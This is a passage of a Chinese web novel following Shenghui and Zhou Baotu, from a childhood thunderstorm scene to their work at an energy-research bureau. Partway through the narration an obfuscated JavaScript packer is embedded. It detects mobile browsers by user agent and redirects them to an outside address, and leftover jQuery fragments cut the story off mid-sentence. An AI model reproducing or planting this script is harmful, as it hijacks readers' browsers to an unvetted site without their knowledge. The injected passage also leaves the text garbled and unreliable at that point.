她吸了吸鼻子,身子坐直起来,伸手想揉眼睛,试图淡化某些痕迹。手伸到半空中,却被少年移开,“这里灰尘多,别碰眼睛。” 不知道是那个字眼冒犯到情绪上头的女孩,他说完话以后,面前的人眉眼迅速耷拉下来。 盛恢问她:“和叔叔吵架了?” 她没反应,手里揪着膝盖睡衣上冒出的线头。盛恢微微俯下身子,离她近了一些,让她不得不抬眼看着少年近在咫尺的眼睛。 “这样一个人乱跑,万一发生无法面对的意外情况,你怎么办?” 就好比现在,明明身体不好,还要跑到灰尘这么大的地方窝着。 “反正也没人管我。” 少年顿了顿,道:“你不见了,好多人都在找,大家都很着急。” 蔫蔫巴巴的脑袋听了这话终于扬起来,不再是那副欲哭未哭的表情,急急问道:“大家都在找我吗?对不起……我……” 她只是太害怕了。 房间里那些东西太恐怖,她只想逃出去。 凝视着她留给自己那一小片侧脸,盛恢收敛起外露的情绪,正要说些什么,阁楼上方的小窗外倏然划过一道亮光—— 眼前的人几乎是吓了一个激灵,浑身都抖了抖,惊慌失措地把头埋回膝间。 刚才在房间里遭遇的恐怖经历还死死印在脑海里,伴着随时可能响起的雷声向她袭来。周宝涂竭尽全力捂着耳朵,躲在旁人视线无法触及之处,眼睛紧紧闭着,鼻尖忍得发红。 只是在这次雷响抵达之前,一双比自己大出许多的手贴了过来,贴着她的手,隔绝了外界一切声响。 干燥的温度让周宝涂那颗湿漉漉的心脏有些无所适从,她几乎忘了害怕。少年的气息不知何时悄然蔓延过来,让她身上的空气渐渐也变得干燥、甚至是灼热,总之连眼角那点潮意,也随着他的靠近蒸发了。 雷响似乎过去了,周宝涂听见他的声音在耳边响起。 “又电不着你,能怕成这样。” 雷声仍在步步紧逼,小小空间里的氛围却骤然安宁下来。 盛恢侧头看着那颗安安静静埋在膝间哭的脑袋,没有打扰。过了好一会儿,见她似乎要抬头,才招手唤过刚才没顾得上理会的小猫,递到她腿上。 周宝涂还吸着鼻子,怀里突然被塞了个毛绒绒的东西,有几分重量。她的眼泪糊着视线,使劲眨了眨眼,才看清怀里这一团是只圆滚滚的三花猫。 “小猫?它……它是哪里来的?你养猫了吗?”周宝涂抱着小三花,眼睛完全黏在它身上,声音虽然有些不稳,语气却正常了许多。 盛恢伸手摸了摸她怀里小猫的脑袋,“流浪猫,很执着地跟了我好几天,所以干脆带回家里养。” 他这样的人也会养猫?周宝涂小心打量了他一眼,不知道是不是错觉,那股常年笼罩在他身上的阴翳似乎确实淡去一些。 她点点头,微卷的发梢随着脑袋起伏,蹭到小猫身上,它在周宝涂怀里翻了个滚儿,惹得她肚子有些痒,忍不住破涕为笑。 盛恢松了口气。又等她摸了一会儿猫,才道:“该回家了。” 她搂着猫,头低了些,“我不想回去。” 他已经看出来,周宝涂现在的状态很不对劲。不过她不说话,盛恢也不催。 直到外面的雨渐渐小了,她也组织好了语言,才慢慢道:“爸爸放在房间里的大机器……有人说话的声音。” 盛恢想了想,问:“有多大?” “跟这只小猫一样大。” “还有蓝色的光,对吗?” “……嗯。” 在母亲的熏陶下,盛恢从小就对能量学很感兴趣。在这方面,他了解得总是要比别人多一些。 周宝涂口中的机器实际上是一种用于存储数据的小型仓库。有些人体能量场,也就是民间说的“灵魂”,在未知的条件下会发生异变,走向过强或极弱两种极端,这些情况统称为非自然能量场。而身负这些非自然能量场的人,被学界称作“异能者”。 这是很可怕的现象。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280276|182525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能量场太强了,会产生失控、暴乱,甚至对周围能量场产生压迫。 而能量场太弱,则会出现意识虚弱、紊乱,最终被其他能量场所覆盖。而最麻烦的是,这些所谓的异能者,到底还能不能算作“人”? 这种变异的原因目前尚未清晰,但可以确定的是,它与能量监测仪的诞生几乎在同一时间。 她说的这个机器,大概率就是用于存储异能者样本的。 周宝涂父亲是技术部的骨干,手上有人体能量的样本并不奇怪。盛恢奇怪的是,她为什么会看见这个。 “叔叔不在家?” 她点头,“今天只有我和阿姨在家。” 女孩的表情肉眼可见地低落下来。 自从一个月前爸爸临时返回局里工作之后,一直都没有回来过。 她原本已经做好了等待的准备,可也许是今天的雨太大,雷声也太吓人。她下意识寻到父亲房间去,希望能看到他的身影,结果却是在一片黑暗中和那个冰冷至极的蓝光机器面面相觑。 这机器好似知道她在想什么,在一片紧绷的安静氛围里,发出了人的声音。 “雨真大啊。”它这样说。 是个空灵温柔得让人头皮发麻的女声。 周宝涂一回想起来就浑身发冷,她抱紧小猫,期望从它身上汲取一些热源。 “那个东西其实只是一个人体能量场数据收集器。你可以把它理解成一个盒子,里面装着五六份报告,它们属于同一个人。摁下不同的按钮,就会让你看见不同的报告。你听见的说话声,或许就是其中一份。” 周宝涂被这个比喻吸引到了。她思考几秒,摇摇头,道:“可是我没有摁按钮。” “智能盒子,就像智能家具一样。你能明白的,在特定的时候会触发特定的报告。” 他并不打算说太多,这些事情对一个刚读完初三的孩子来说还是有些复杂。 “所有的害怕都源于未知,你只是恰好在这个时候触发了这份报告,并没有什么特别的。” 她大概是听进去了,半晌又问:“那里面的声音是谁呢?” 盛恢看着她重新亮起来的眼睛,沉吟半晌,才给出回答。 “是些值得被研究的人。” 周宝涂只知道父亲的工作和人身上的能量有关系,再多就没有了,因此对这个答案有些半懂不懂。 不过现在,她确实不害怕了。 被女孩一下下轻搓揉弄着,三花舒服地在她怀里翻了个身,露出柔软肚皮。周宝涂却收了手,看向盛恢,“盛恢哥哥,谢谢你……还有,对不起。” “那天我不是故意要捣乱,也不是真的想骂你……”她说着,手上也用力起来,三花叫了声,在她身上跳起来,让女孩有些困扰,只好先停下解释。 盛恢把那只猫从她腿上提起来,摁在自己手边,顺着毛,“嗯,继续说。” “我和爸爸说好了,等我考完试,我们就一起去旅行。可是他一直都没有空,我知道工作很重要,但是……假期也快要结束了啊。” “那天,爸爸终于回来了,我还以为愿望要成真了!可是总有那么多意外拦着我们,所以我那时候实在……控制不了自己的情绪。” 小姑娘似乎很少说这样的话,脸上红了大片,但还是斩钉截铁作出保证:“还有今天也是。对不起,我以后一定会好好控制自己的情绪,不会再乱发脾气了。” 不知道是不是她的错觉,少年的眼睛好像在笑。虽然明明他脸上并没有笑的动作。 “没关系。不过,对于不好的情绪,让它发泄出去也是个好办法。” 她眼睛更亮了,好像下一秒就要咧开嘴笑,又听少年开口:“只是不要再用这样的方式了,你说呢?” 周宝涂顶着个大红脸点头。 问题解决了,盛恢送周宝涂回家。 路上,她问:“盛恢哥哥,你怎么这么了解爸爸的机器啊?” 他回:“书上都有。” 周宝涂家里的书房也全是关于这些的书,她无聊的时候翻看过,但也仅限于最无聊的时候。 “我都看不懂。” 盛恢问:“你想看懂?” 她点点头,“你说的,懂了就不会害怕了。可是,盛恢哥哥,为什么机器们都没有说明书呢?那种八岁以上就可以读懂的说明书。” 女孩一口一个哥哥,听得少年说话都不过脑子:“这有什么难,我改天给你做一个。” 盛恢记得,这个回答当时几乎是脱口而出,快得连他自己来不及反应。 桌子边的银色袋子依旧在泛光,窗外的雷雨已经渐渐平息。 盛恢有时会想,会不会是自己过去在她耳边作为开解安慰的这些话,变相影响了她对职业的认识和选择。 他静静地凝望着身边睡熟的人,长睫垂下,遮去复杂的情绪。 5. 乖巧 张凌调去新部门以后,接手了后勤大部分工作,在局里待的时间也比之前要长。 平时拘在深山老林里,动辄十天半个月都不能回家,更别说紧锣密鼓的新官上任期。 只是虽然不得自由,待在能监局里总不会无聊就是了。除了每周轮换的常规值班人员,绝大多数研究员周末都会留守阵地,因为实验和数据都需要持续性地监测,很多大型机器都不支持远程调控,一旦发生什么意外,要从几百里外颠簸过来,人到的时候黄花菜都凉了。 稍微有点资历的研究员还能把实验交给手下的新人,而年轻人们就只能自己扛着。这也是张凌最不喜欢的一点。 像他这样水平中等、没有什么冲劲儿,也没有什么大志向的人,确实不适合留在技术部。 然而也有例外。技术部那位炙手可热的新星,盛恢,似乎比他还追求“按时下班”。但凡没有要紧的工作,平时别说周末,但凡休假,哪怕是半天,也见不到盛恢的影子。让张凌在感叹他工作效率之高的同时,不得不感叹年轻人就是精力旺盛…… 至于原因吗,无非就是恋家。他自己当年也是这样的。 直到后来有一次他和盛恢提前结束工作,顺路一同回家。中途见他七拐八拐开进市里一家有名的花店,买了一大束粉玫瑰,才恍然大悟。 年轻人嘛,下班时间腻歪又不犯法。张凌咬着牙恨恨地想。 只是最近这半个月,张凌已经连着两个周末在局里看见盛恢了。而且他敏锐地发现,盛恢最近的心情绝对算不上好。除了平时一些必要的工作交流之外,他几乎是把自己关在实验室里,每天冷着一张脸进进出出,连其他部门的同事都天天跑来找张凌八卦盛恢是不是被人甩了。 张凌彼时是不信的,盛恢这样的要是被甩了,他们这些大龄单身男青年还活不活了?于是严词挥退了一众好事的八卦之徒。 现在看来,那帮人的八卦嗅觉可不是一般敏锐。 迎新会结束的第二天清晨,张凌在员工食堂碰见盛恢。 “早啊。”他装作不经意瞥过盛恢手里显然比一般要大出两三倍的早餐袋,有些震惊:“你什么时候这么能吃了?不对……这难道……是小周的饭量?” 盛恢应该是心情不错,总之没有像从前自己关心后辈、对他问东问西时那样冷漠地敬上一句“好得很,不如操心自己”,反而挥了挥提在另一只手上的保温杯。 张凌“咦”了声以表嫌弃,“那这些呢?去施粥啊?” “这些给她同事。” 周宝涂的组长,曾雨田,是技术部出了名的摆子。张凌也摆,只是他和曾雨田亦有不同。这人的嘴,迷惑性极强;前一秒能对上头反向画无数个饼,后一秒就能请假外出一周都不见人影。 有这么个不靠谱的组长,他负责的小组一般凝聚力都不太好。老人们只想赶紧结束这无聊的小组合作期,回到自己不受限制的工作状态;而新人们往往是一头雾水,最后什么也没捞着。 怪不得昨天盛恢会找自己要小组名单。 一想到曾雨田那副德行,新人过去肯定掉一层皮,他忍不住笑出声道:“你们俩不是还在斗气?” 盛恢虽然仅仅入职两年,如今在技术部却已是不可或缺的中流砥柱,不知道多少领导都盯着这块香饽饽。不过有人喜欢,就有人厌恶。当年盛恢刚刚入职,锋芒正盛,和某个大前辈斗得你死我活也半点都不退缩,哪怕过去这么久,也常常被大家提起。 “你想什么呢?”盛恢晃了晃袋子,“我有合理理由,去帮忙监工。” 监工?张凌回想起昨晚曾雨田在群里发的那条消息,说自己有事回家,有没有哪个组长有空愿意帮他主持一下今天的小组会。 活脱脱一副甩手大掌柜的样子。 他当时只看了一眼消息就关掉了,实在是没眼看。难道…… 掏出手机,张凌重新点进那个被自己屏蔽的群,看见那条消息下面赫然出现一个头像。 史无前例,曾雨田在群里发的话有人接了。而接话的那个人直截了当,一个“我”字,终结了整个话题。 张凌盯着头像上面那两个字,再看看慢条斯理提着大袋子早餐离开的盛恢,默默叹了口气。 恋爱真是,使人失智。 半小时后,一楼大厅的休息吧台上,氛围有些凝滞。 吧台变刚好有四个座位,原本是两两相对,此时却变成了一对三的怪异局面。挨着坐的三个人已经盯着手机看了好久,实在撑不住的时候悄悄看向对方,再偷偷瞄一眼对面坐着的男人。 他的目光很快迎上来。一进一退,退避三舍。一片沉默,直到再次有人忍不住看过去,果然又碰上男人的眼神,而后又是循环。 “这是,是在用眼神玩打地鼠?”盛恢问。 三人里唯一的女性王旻书是个直性子,听了这句险些笑出声,被旁边的许杰摁住了。 不怪他们这么战战兢兢。眼前这位,身上可是有些了不得的传言。很多人都说,这盛恢……其实是个异能者。他本人对这说法的态度似乎很无所谓,反正从来没有反驳过,于是流言就越传越凶。 这三人里,只有李忆南和盛恢有些私交,也受不了这尴尬的氛围,在旁边两位无数次暗示下终于主动开口:“时间也差不多了,我现在去把人叫来,咱们就开始?” 说实话,该聊的在盛恢刚来那会儿就已经聊完了。 他找过来时,三人都是一惊,都以为是自己和技术部交接工作不清,那边派人来催债。盛恢简单解释之后,才知道原来是曾雨田今天外出,不在局里,托他来帮忙主持。 话落,又是沉默。他们之中,王旻书和李忆南都比盛恢资历长,也都没有到达到做组长的条件。 入职两年就能独立带人,他算是首例。 只是让人琢磨不透的是,按理说,应该属这麻烦别人的一方给人带东西。怎么他们这还反了天了,倒是这被麻烦的人提了一顿丰盛早餐前来。 猜到内情的王旻书悄悄在三人小群里打字说了自己昨天遇见盛恢和周宝涂的事,他们这才有些拨开云雾。 敢情是来送封口费的? “不急。”然而盛恢的关注点并不在这儿,他打量几眼桌上几乎没动的早餐,有些疑惑,“这些,不合你们胃口吗?” “啊……我们提前吃过了,不是很饿!” 王旻书急着接话,接完话才想起来刚才他们正是在食堂外和盛恢遇上。提着一手早餐的盛恢歪头拦住了他们,说自己多打了,要请人吃。 最后他们连食堂的门都没踏进去。 她嘶了声,许杰无语望天,剩下一个勉强还有理智的李忆南重新捡起话题:“也就在房里随便吃了几块饼干,还是再吃点吧,免得一会儿饿了。” 王旻书实在受不了了,她要说话,又被许杰拦下。气呼呼地转头,却见盛恢朝着自己看了许久,问道:“王姐有话要说?” “如果你是担心我们会到处乱说你和……小周的事,那大可不必,做人的基本操守我们还是有的。”她信誓旦旦,丝毫不察自己已经将八卦转头告诉另外二人的事也随之暴露。 李忆南和许杰简直想用那满桌早餐塞住她的嘴。 “我确实有事想拜托几位,但不是你说的这件。” 三人皆愣,王旻书试着发问:“那就是想让我们多多照顾小周?” 盛恢不置可否,他嘴角勾起一个礼貌的弧度,“如果各位能做到这样,我当然也很乐意。” “但我希望的,是你们能够对她严厉一些。” 这三人中,有两个这辈子连女孩子的手都没牵过几次,听见这话,脑子是完全宕机;徒留王旻书暗暗咋舌,感叹小周这哪是找男朋友,怕不是给自己找了个爹啊。 话间,大厅里出现一个人影。王旻书眼睛尖,一眼就认出来那是周宝涂,赶紧冲着人叫道:“宝涂,早上好啊!” 周宝涂睡醒不久,脑袋还有些晕。昨天的事她记得断断续续,醒来看见床头放着保温杯和一个银色的袋子,知道是他留的。 心情复杂地喝完粥以后,她马上抱着保温杯跑来一楼。忽然间听见有人在叫自己的名字,她才想起今天还有组会要开。 “啊……”周宝涂奔过去,看清了吧台边上坐着的那个人。 不是别人,正是她刚刚苦思冥想要找的人。 王旻书见她顿在原地,先是下意识看了一眼盛恢,担心他以为自己随便吓唬新人,害得人连一起吃个早餐都不敢,赶紧大声招呼她:“小周,快来啊,坐这儿。” 盛恢一手搭在吧台边,一手撑着头,没说话,也没转身。 周宝涂抱紧怀里的保温杯,一步步走过去,停在盛恢身边,小心翼翼瞥了一眼男人的身影,眼睛又滴溜回来观察其他三人的脸色。所有人都察觉到了氛围的凝滞,因为原本停在盛恢身 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盛恢虽然受托来帮忙主持,大多时间其实只是在旁边听着,偶尔才会说上一两句,说话的主要是王旻书。这位直言直语的女子在工作方面倒是意外的细腻,从部门情况说到工作制度,事无巨细地一一介绍着。 周宝涂早就带好了纸笔,从王旻书说话开始,手上的笔就没停过。 王旻书说完以后,李忆南继续补充,再到许杰。一开始,周宝涂还会发问几句,越到后面,她的话就越少。 “小组制度成立的目的其实就是为了新人能够尽快过渡到正式工作期,所以这段时间会给你布置不少工作,遇到问题就及时问。” 王旻书看向眉眼乖巧的女孩。她提前看过周宝涂的资料,这孩子初一就跳级读书,高中的成绩一直很好,大学学习的专业更是和能量学半毛钱关系也没有,能够顺利考上来,只能说是天赋极佳。 但毕竟,还是年纪小,又闷闷的不爱说话,让她感觉有些头大。 “你有什么想问的吗?” 周宝涂低着头思考了会儿,问接下来要给她布置什么工作。 王旻书把那几项任务给她仔细介绍了,是些信息处理和基础实验的常规工作。她以为是女孩不适应,或者担心自己完不成,特意瞥了眼盛恢的脸色,贴心安慰道:“不用怕,都是很简单的工作,只是因为你们没有真正在机子上和实验室里上过手,所以需要一些磨合。” 但女孩听了这些话,表情也并没有放松多少,反而越来越纠结了…… 盛恢终于在这时开口道:“王姐,新人的心理素质没有你想的那么差,安慰的环节可以结束了吗?” 僵滞的会议因他这一句话只得推进下去,王旻书却有些无措。要知道以往组会都是不靠谱的曾雨田主导的,她今天临时上岗,都是照猫画虎地学,哪里会想到训话之后还有什么环节。 周宝涂却在一片焦灼的氛围中更活泛了些,她合上笔记本,问:“王姐你刚才说,一个月后我要交上一份成熟的研究项目?” “对,这是对你们过渡期结束的考核。关于这个,我们之后会带着你慢慢找研究方向的,不用担心。” 她以为这是周宝涂最担心的点,因此才会揪着问,于是又举了个例子:“去年,有个新人,研究方向都还是只剩下半个月不到才确认的呢。我们也知道你们这些新人没经验,做事情还是需要些时间来适应,所以啊……别急。” 她以为这话是体贴,却叫周宝涂的头又低了下去,重新打开笔记本,讷讷地回:“哦哦……” “方向是很重要,但你自己的能力和兴趣才是决定因素。王姐刚才说的那个新人,发现了动物和植物能量场对彼此的影响有巨大差异。这一块原本很少人做,他那个项目弄出来以后,就成了这个领域的专家。” 说话的是盛恢。他语速不快,语调又微微上扬着,像讲故事一样。引得周宝涂好奇看过去,跟他的眼神对上。 李忆南道:“我也记得!这人是真有意思,要知道他们一整个组都是研究植物能量的,也不知道这他是从哪里得来的灵感。” 盛恢嘴角敛着笑意,“是啊,他其实一直想做动物能量,那群搞绿色的不同意。当时剩不到半个月,他们把那孩子丢进林子里,要他对着那片绿油油的东西想出个方向来。” 此话一出,众人沉默了。 ……这样的内情,确实让人意想不到。 6. 大胆 这一群人里,许杰只比周宝涂早了一年,刚结束新人期不久,对这样的现象也深有感受,“我当时选的第一个方向也被组里人否了,但其实那个是我从决定考进能监局以后的时候就一直在研究的,后来还成了我的入职设计。可惜没能坚持到过渡期结束,不然……或许真的能做出来呢。” 入职设计是能监局入职考核的最后一道难关。在完全没有实战经验的前提下,光凭理论,要提出一个落实性达到百分之八十的项目,难度可想而知。更不用说其后的落实难度,完全是在考验前辈们的指导功力和技术高低。 王旻书笑得勉强,道:“还好我们组没有这些歪风邪气,虽然入职设计嘛……落实难度也很大,不过就算新人有自己的想法,我们也会支持的。” 话落,王旻书倏然发现面前的女孩看着她,两只圆眼里的水波流转,感激和崇拜都快满溢出来了。 “谢谢!” 啊?王旻书呆了,身旁两位男士也呆了。只有盛恢隐去嘴边那点笑意,看向真挚道谢的女孩,沉默下来。 “小周,你……的意思是?你也想用入职设计作研究的方向吗?”王旻书不死心地再问。 周宝涂刚冒头的热情在眼前众人意外的表情下冷却几分,但她还是肯定地点了点头。 李忆南干笑两声,有意打趣缓解气氛:“你该不会,也一直想做动物能量?” “这倒不是。”她要解释,双手动了动,手里原先夹着两本笔记本,现下正翻出那个一直藏在底下的,展示给眼前众人。那笔记本纸页都有些泛黄了,干净秀美的字体却很赏心悦目,看得出来主人一直保持着良好的书写习惯。 然而她想展示的并不是这些文字,笔记本的页码迅速翻动,终于停在主人最熟稔的这一页,上面是一副弯弯曲曲、十分复杂的图示。 吧台的氛围因为这幅还不算标准的图示而严肃许多。 这页纸上画的是利用惰性能量创造出安全场域的原理。从自然界中的某些特殊动植物中提取出的惰性能量数据,能够帮助营造完全平和的能量场,因此也多用于某些比较危险的户外工作,学界命名为“交界间隙场”。 “交界间隙场我也见过不少了,你这个……极怪。”李忆南摸了摸下巴,觉得她手上这图原理简单,几乎和最基础的交界间隙场无所区别,只是又隐隐觉得不对,摸不着关窍。 王旻书道:“她这图里引入了第三方,所以许多关节都变动了。只是这样的变动也太过……微妙,看似无用,实际上却改变了整个交界间隙场的基础运作模式。” “这……?”许杰听了,视线从图示上移开,看向神色平和的女孩。 李忆南摇头,脸上是显而易见的遗憾,“不可能,至少从目前来说,不可能。交界间隙场在实操上是直接作用于人的能量场的,这样触及底座的改变会导致很不可预估的结果。” 他把话说得很重。周宝涂嗫嚅几声,不知该不该继续,有些不甘心,只道:“……可能的。” 她注意到周围传来的眼神里多了些不赞同。周宝涂不是因为别人的反对泄气,只是这些人刚才还温柔地欢迎她的到来,现在却因她带来的东西感到困扰,这点……让她有些低落。 沉默中,终于有人发问:“怎么个可能?” “……这样改,交界间隙场中的密度会极速增加,但是有惰性能量打底,不会让空间里的能量场域出现互相压迫的。”周宝涂解释着,手里的笔干巴巴地垂着,没了和主人一起展露风采的力气。 那人又问:“那你知不知道,要引入什么样的因素,才能形成这个效果。” 周宝涂抬头看了一眼,她终于反应过来发问的人是盛恢。 他没有眼里没有反对,也没有赞同,只是平静地在问她问题。 于是她回答:“强能量场。” 王旻书抿唇,她察觉到身旁两位男同事的为难。似乎是很想说什么,尤其是年纪小一些的那个,脸色憋得闷红,但总之还是顾及周宝涂的心情,没有说出口。 她不是不能理解。毕竟放在别的组,这样的选题意见都不待多说,在名字露出来的瞬间就该被驳回了。可在能监局这么些年,至少是在她眼前、身边,从没有见过这样……大胆的想法。 能量领域在那一个世纪前,初生的阶段,日日都有惊天动地的点子井喷式浮现;可随着理论实践渐渐完备以后,理论界也趋于平和。直到近年,研究界尽是些小打小闹。虽说细致入微,但对拓展领域深度总归算不上什么助力。 眼前这个小姑娘功力并没有多深厚,却提出了一个很刁钻的角度。 引入强能量场?放眼看整个能量领域,目前都还没有真正可行的方法分离强能量场,更遑论运用……不过,仔细算起来,似乎不能说一点方法也无。两年前前,技术部就开展过一个和运用强能量场有关的实验。如果她没记错,那个项目的提出者,是盛恢。是当时刚进入能监局,甚至还没结束过渡期的盛恢。 王旻书选择沉默,看向盛恢,看他作何回应。 盛恢自周宝涂打开笔记本之后,浑身散着的轻懒便收敛许多,眉头平缓,嘴角却绷得很紧,似乎在压抑什么情绪。缓了许久才问出一句:“引入强能量场,你凭什么做得到?” 他这话在旁边三人听来,几乎是否定了。可在周宝涂看来,却是截然不同的意思。 她似乎有些为难,半晌再抬头时,眼里那点光亮变得柔和许多,定定瞧着面前的男人,一鼓作气,道:“我相信,一定能做到的。” 这场会议在盛恢的沉默下结束。王旻书大概是感觉到盛恢模糊的态度,因此也留了后路,只说周宝涂的提议要等到真正的组长曾雨田回来之后,才能决定。 接近中午,外面的风被蒸蒸日头压弱几分,空气中漂浮着股沉闷的气息。身边的人都走了,周宝涂才抱着保温杯离开吧台,跟上刚离开不久的男人。 因为是跟踪,所以她走得很慢,还有些心虚,细碎的脚步缀在后面。果然,很快就跟丢了。女孩头上浮了汗,眼神四处晃着,只看到前面的走廊嵌着一个个十分相似的房间,根本无法辨认他的去处。 就在她着急的时候,身后的房门悄然而开。盛恢一手搭着门,垂眼看了那人着急的后脑好一会儿,才出声:“这儿呢。” 周宝涂乍然转头,他已经转身回了房间。她紧了紧手里的保温杯,小步跟进去。 外面是狭长的走廊,里面房间却并不窄小。房门对面的墙完全制成单向玻璃墙,大树上蔓出的枝叶亲昵地搭在凉凉墙面上,叫整个房间明亮中透着一股闲适。 盛恢站在玻璃墙前,眼神不知飘在何处,微微走神。直到周宝涂站到身边,才分神回到她身上,开口就是意义不明的夸赞:“研究做到这个地步,我半点也不知道。确实是该说你保密意识强?” 周宝涂小声辩解:“如果早让你知道,我什么也干不成了。” 就好像今天,他连第一次组会都不放心让自己独立参与。 想到这个,她胸腔里又涌上一股气,“以后,你不要再这样了。” “今天如果我不在,你甚至连它都翻不开。”他的手指点在周宝涂臂弯里的笔记本上。 在会议开始前,他说希望几位能对周宝涂严厉一些 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“不要做这个了,太难,也太危险。” 他声音低低,咬字模糊,蛊惑一般的口吻。周宝涂却像是瞬间醒来,浑身的刺都立起,仰起头瞪他,睁圆了眼,立马回答:“不行!” 她比刚才还要生气。 不是气自己的选择会被左右,也不是气他否定自己的能力,因为这些都只是虚掩在真相之上的表象,是他刻意伪装出来的浅薄。 毕竟……没有人比周宝涂更了解,盛恢是怎么为了心里那份执念走到今天。而现在,他却说这条路很难,很危险,不应该被选择。 盛恢看着面前的人脸色涨红,装了壶滚烫的热水一样,晃晃荡荡、摇摇欲坠,又听见她说:“我相信你一定会做到的呀。” 她吸了吸鼻子,又说:“我还相信,我也一定能做到的。” 他不知是在思考,还是只静静站着,沉默了许久,才抬起手揉了揉女孩微红的眼角。 “那就去做吧。” 周宝涂抬眼看他,黑睫毛润湿着,颜色深深,衬得这没良心的小丫头更显单纯。然而这人开口又是一句不讨喜的:“不用你说,我也会做的。” “你不要总是不放心我,做好你自己的事……”她这幅老成口吻只用了两句,就被他捏住双颊,动弹不得。 周宝涂支支吾吾,躲开他的桎梏和微俯下来的胸膛,又把那保温杯举到他面前。 “你拿着吧,我已经洗过了,现在很干净的。” 盛恢不理,只问:“今天还有没有不舒服?” 周宝涂摇头,手又往前递了几分,“快接呀,我要走了。” 盛恢不收,干脆靠在墙边,垂眸看她费劲想把保温杯塞进自己手里。他的手就好像突然失去力气一样,任凭她怎么弄都握不住杯把。她额头都出了层薄汗,也不生气,只是面露难色地看了他一眼,最后蹲下身子,把保温杯放在了他脚边的空地上,然后转身欲走。 刚走出半步,就听见盛恢问:“手里是什么?” 问完,他看见面前的那只藏在羊毛卷底下的耳朵悄然浮现一点红晕。 周宝涂手心出了汗,担心东西从自己手里掉出来,只好又紧了紧。她抬眼看见男人噙着笑意的嘴角,心想这人真幼稚。 “不是你放在我床头的吗……” 盛恢眼角弯出一道淡淡的褶皱,专注地看她脸上神色变化,“我放的?我放这个做什么。” 女孩没理他,只是脸上越来越红,最后磕磕碰碰地逃出这间屋子。 7. 宝典 盛恢放在她床前的只是一个小小的项链挂坠,大概是他做的新东西,并不是什么“说明书”。至于少年承诺过的“说明书”,早在那年的雷雨夜之后,就递到了她手上。 她还记得,自己在阁楼被盛恢找到之后,突然就生起了养猫的心思。 为此,她接连给爸爸打了好几天的电话,只希望能软化封建大家长的严词拒绝。当然,最后还是以无果告终。养猫的提议被驳回,她心里堵堵的。躺在床上,不知为何总是想起那天三花窝在手上时,毛绒绒的尾巴贴在自己手臂一侧,熨帖得很。 清晨,周宝涂揉着熊猫眼出门,在小区楼前遇见要去取车的盛恢。 少年胸前那只握着书包带子的手在看见她的瞬间终于放松下来,周宝涂却没注意到,她只觉得他姿势有些奇怪,眼神是朝着外面的,身体却朝着门口,一副欲走未走的样子,不知道在犹豫什么。 “盛恢哥,早。”周宝涂和他打招呼。 盛恢看着她走到自己身前,肩膀几乎要碰到他的手臂,才转身随着她的步子一同往前走,“早餐吃过了?” 周宝涂点头。她此时情绪还低落着,一张小脸上眼睛鼻子嘴全都耷拉下来,像株淋了雨后皱皱巴巴的向日葵。 自从阁楼那夜过后,盛恢发现周宝涂好像对他的态度有些微妙的变化。很像三花从刚来到他家的防备警惕,到慢慢变熟悉、能够随心所欲的样子。 一路上都心不在焉,两个人走到停车场,她才反应过来:“盛恢哥,你们高三不是六点半就要开始晨读吗?现在已经七点了啊……” 盛恢提着她的书包后面的带子,不着痕迹让人靠过来了些,避开停车场门边翘起来的铁丝,“哦,那个是自愿去的。” 高三提前半小时开始的晨读虽然明面上是自愿,但鲜少有人会在周围人都进入紧绷备考状态的时刻松懈下来,更别说选择自由的背后还要迎来老师、学校、家长多方数不清的反对指责。除了那少部分已经优秀到难以企及的人。他们拥有绝对的选择自由,因为没有人比他们自己更清楚,要怎么选择才能让结果最优化。 盛恢就是这类人,他最近已经在准备申请保送资格的事情,周宝涂还是从家里阿姨的口中听来的。 别人已经走向康庄大道,她还在为了一只小猫和家里人闹脾气。周宝涂悠悠叹了口气。 推着车子出了小区,盛恢一手撑着自行车,另一只手伸进包里翻了翻,掏出一瓶饮料来。 周宝涂从包装认出来这是她最爱喝的酸奶,耷拉着的眼睛鼻子嘴挨个翘起来,满眼都写着惊喜。看见盛恢递过来,连脑袋上那头卷卷的发都要一根根炸开。 “谢谢哥哥,你也喜欢喝这个牌子的酸奶吗?它可难买了,我只在学校旁边的小店买到过。” 她还是有些局促的,因为眼前的少年话实在是少,而他不说话,看上去就像随时要生气一样。 “还好,不过买的太多了,怕过期浪费,随身带着喝。” 心里还紧着上课去,半分钟左右,她一鼓作气喝完,才发出疑问:“不是很喜欢喝还买这么多?” 盛恢跟在她后面,看不见神情,只能听见少年的声音混着夏日的风飘过来:“有人喜欢喝。” 喝完酸奶,周宝涂心情好了些,也没再把心思放在这上面,只“哦”了一声作为回应。她骑着车子在前面,显然又有些神游,盛恢不急着问,只是慢一步跟在后面。过了一个红绿灯,前面那个毛绒绒的脑袋终于转了过来,满脸沮丧:“盛恢哥,爸爸不让我养猫。” 她咕哝着倒苦水:“他觉得我没有养过小动物,肯定做不好。可是所有经验都是从无到有的啊,不迈出第一步,就说前面是悬崖,那站着等死也是死。哦,我不是说不养猫就会死……” 盛恢静静地听她说,脸色很平静,也没有开口的打算。直到周宝涂声音渐渐弱下来,他的神情才出现一点变化,眼神寻过来,在女孩脸上转了两圈,道:“可以先养在我家。” 对上她倏然瞪大的眼睛,又补充:“如果你真的想养。” 周宝涂低下眼睛,似乎在思考,“这……” 盛恢点头:“养猫并不复杂,你只要准备一个睡觉的小窝,一个猫砂盆和猫砂解决它上厕所的问题,还有吃饭喝水的碗。然后是猫粮,有的猫还喜欢吃罐头,再买些猫抓板,磨爪子用。每天定时喂吃的,别让它饿着也别撑着,哦还有记得定期去看医生,做体检,打疫苗……” 他一口气说了很多,顿了顿,才说出最后一句:“不过最重要的是,你要经常来看它。” 女孩脸上的神色有些复杂,她发现爸爸说得好像没错,自己确实对“养猫”这件事了解甚少。 “算了,还是不麻烦你了。” 她变回那副皱皱巴巴的模样。盛恢的手伸向书包,在半空中顿住,又收回来。他忘了,今天酸奶只带了一瓶。又过一个红绿灯,他问:“为什么想养猫?” 